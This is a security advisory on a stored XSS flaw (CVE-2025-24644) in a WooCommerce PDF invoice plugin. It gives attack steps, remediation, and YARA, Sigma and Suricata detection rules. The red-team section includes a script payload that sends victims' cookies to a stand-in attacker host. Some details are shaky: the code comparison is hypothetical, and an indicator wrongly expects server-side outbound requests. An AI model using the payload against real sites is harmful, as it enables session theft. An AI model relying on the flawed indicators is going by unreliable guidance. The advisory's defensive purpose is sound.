CVE-2025-24644

Executive Summary

CVE-2025-24644 is a Stored Cross-Site Scripting (XSS) vulnerability in the WebToffee WooCommerce PDF Invoices, Packing Slips, Delivery Notes and Shipping Labels plugin for WordPress. This flaw allows an authenticated attacker with low privileges (e.g., a shop manager or customer) to inject malicious scripts into the plugin’s input fields. When an administrator or other user views the generated invoice or packing slip, the script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site. The vulnerability affects all versions up to and including 4.7.1. No public exploit code or patch details are currently available, but the risk is elevated due to the widespread use of WooCommerce and the plugin’s role in handling sensitive order data.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is a critical component of the WooCommerce ecosystem. Users should monitor the plugin’s update channel and apply any security patches as soon as they are released. The lack of a known patch at this time underscores the need for defensive measures.

CVSS Breakdown & Threat Level

• CVSS Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires an authenticated user with access to the plugin’s input fields.
• User Interaction: Required (UI:R) – the victim must view the malicious invoice or packing slip.
• Scope: Changed (S:C) – the vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: Low (A:L)

Threat Level: Medium. While the CVSS score is moderate, the potential for stored XSS in a widely-used e-commerce plugin increases the real-world risk. An attacker could use this to steal admin session cookies, deface invoices, or redirect customers to phishing sites.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The plugin likely accepts data such as custom invoice notes, shipping labels, or packing slip text from authenticated users (e.g., shop managers or customers with order editing capabilities). This input is stored in the WordPress database and later rendered in the PDF or HTML view of the invoice without proper sanitization or output encoding.

Attack Flow:

1. An attacker with low-level access (e.g., a shop manager role) logs into the WordPress admin panel.
2. The attacker navigates to the plugin’s settings or order editing interface and injects a malicious payload into a text field (e.g., invoice footer, packing slip note).
3. The payload is stored in the database.
4. When an administrator or customer views the generated invoice or packing slip, the payload executes in their browser.
5. The attacker can then steal cookies, perform actions on behalf of the victim, or deface the invoice.

Root Cause: The plugin fails to apply proper output encoding (e.g., HTML entity encoding) when rendering user-controlled data in the invoice template. This is a classic Stored XSS (CWE-79) flaw.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (PHP):

// In a template file, e.g., invoice-template.php
echo '<div class="invoice-note">' . $invoice_note . '</div>';

Patched Code (PHP):

// Properly escape output using WordPress functions
echo '<div class="invoice-note">' . esc_html( $invoice_note ) . '</div>';

The esc_html() function converts special characters like <, >, &, ", and ' to their HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress installation with WooCommerce and the vulnerable plugin (version <= 4.7.1).
• An authenticated user with the ability to edit orders or plugin settings (e.g., Shop Manager role).

Steps:

1. Log in as a shop manager.
2. Navigate to WooCommerce > Orders and edit an existing order.
3. In the “Invoice Note” or similar field, inject the following payload:

   <script>alert('XSS')</script>
   

4. Save the order.
5. As an administrator, view the invoice for that order. The script executes, displaying an alert box.

Advanced Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

• Monitor for unusual input in invoice notes, packing slip text, or shipping label fields.
• Look for patterns like <script>, onerror=, or javascript: in database entries.
• Use WAF rules to block common XSS payloads in POST requests to WooCommerce endpoints.

Prevention:

• Apply input validation and output encoding on all user-controlled data.
• Use Content Security Policy (CSP) headers to restrict script execution.
• Restrict the ability to edit invoice notes to trusted roles only.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains from the WordPress server (e.g., GET /steal?cookie=...).
• Host: Unusual entries in the wp_postmeta or wp_woocommerce_order_itemmeta tables containing <script> tags or event handlers.
• Logs: WordPress debug logs showing PHP warnings related to output escaping.
• File: Modified plugin template files (e.g., invoice-template.php) that lack esc_html() or similar functions.

Detection Engineering

YARA Rule

rule CVE_2025_24644_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in WooCommerce PDF Invoices plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24644"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $event_handler = /on\w+\s*=\s*['\"].*?['\"]/is
        $javascript_uri = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in WooCommerce PDF Invoices Plugin
id: cve-2025-24644
status: experimental
description: Detects stored XSS attempts in WooCommerce order notes or invoice fields
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        - field: "invoice_note"
          value|contains: 
              - "<script"
              - "onerror="
              - "javascript:"
        - field: "packing_slip_note"
          value|contains: 
              - "<script"
              - "onerror="
              - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in notes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24644 Stored XSS Payload in WooCommerce Invoice"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=generate_invoice"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is available, or restrict access to the plugin’s settings to only super-admins.
2. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads in POST requests.
3. Audit all existing invoices and packing slips for suspicious content. Use the YARA rule above to scan the database.

Long-Term Fix:

• Apply the official patch from WebToffee as soon as it is released.
• If patching is delayed, manually edit the plugin’s template files to add esc_html() or wp_kses_post() around all user-controlled output.
• Consider using a security plugin like Wordfence to add an additional layer of XSS protection.

Workaround:

• Use a Content Security Policy (CSP) header that blocks inline scripts:

  Header set Content-Security-Policy "default-src 'self'; script-src 'self';"
  

Valters IT
Securing Digital Frontiers